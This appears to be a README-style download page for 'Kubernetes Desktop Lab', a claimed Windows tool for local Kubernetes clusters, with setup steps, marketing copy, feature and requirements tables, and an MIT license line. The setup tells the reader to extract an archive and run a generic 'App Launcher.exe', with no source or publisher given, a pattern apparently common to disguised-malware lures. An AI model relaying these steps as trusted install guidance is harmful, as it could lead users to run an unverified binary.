- Download and extract the archive
- Run App Launcher.exe
- Start Kubernetes Desktop Lab
- Follow setup instructions to initialize your cluster
Kubernetes Desktop Lab provides developers with a simplified environment to manage, test, and orchestrate containers locally.
It’s built for modern cloud-native workflows and lets users deploy clusters with ease, monitor resources, and manage workloads directly on their desktop.
The platform integrates Docker CE, Helm, and kubectl tools for complete container lifecycle management.
Its intuitive dashboard helps you visualize pods, nodes, and services — perfect for learning, testing, and debugging Kubernetes infrastructure.
With a focus on speed and stability, Kubernetes Desktop Lab supports local environments such as Minikube and K3s, providing smooth virtualization for both single-node and multi-node clusters.
You can easily experiment with container orchestration, network policies, and CI/CD pipelines in a secure sandbox environment.
The toolkit is optimized for developers, DevOps engineers, and IT administrators who want to simulate real-world Kubernetes deployments without relying on cloud infrastructure.
From microservices testing to edge computing research, it offers a flexible, fully functional local Kubernetes experience.
Kubernetes Desktop Lab stands out for its clean UI, advanced resource tracking, and compatibility with popular IDEs — empowering developers to build and scale containerized apps efficiently.
| Feature | Description |
|---|---|
| Cluster Management | Create, start, stop, and delete local Kubernetes clusters easily |
| Helm Support | Deploy Helm charts directly from the dashboard |
| Docker Integration | Full support for Docker containers and images |
| Resource Visualization | Interactive UI for pods, nodes, and namespaces |
| Lightweight Virtualization | Optimized performance for desktop-based clusters |
| Security Sandbox | Run isolated environments safely for testing |
| CI/CD Integration | Connect with Jenkins, GitHub Actions, and GitLab |
| Offline Mode | Manage and test clusters without internet access |
| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10/11 (64-bit) | Windows 11 (64-bit) |
| Processor | Intel Core i5 | Intel Core i7 / AMD Ryzen 7 |
| RAM | 8 GB | 16 GB |
| Storage | 3 GB | SSD recommended |
| Display | 1280×800 | 1920×1080 or higher |
🧩 MIT License (2025)
This project is licensed under the MIT License.
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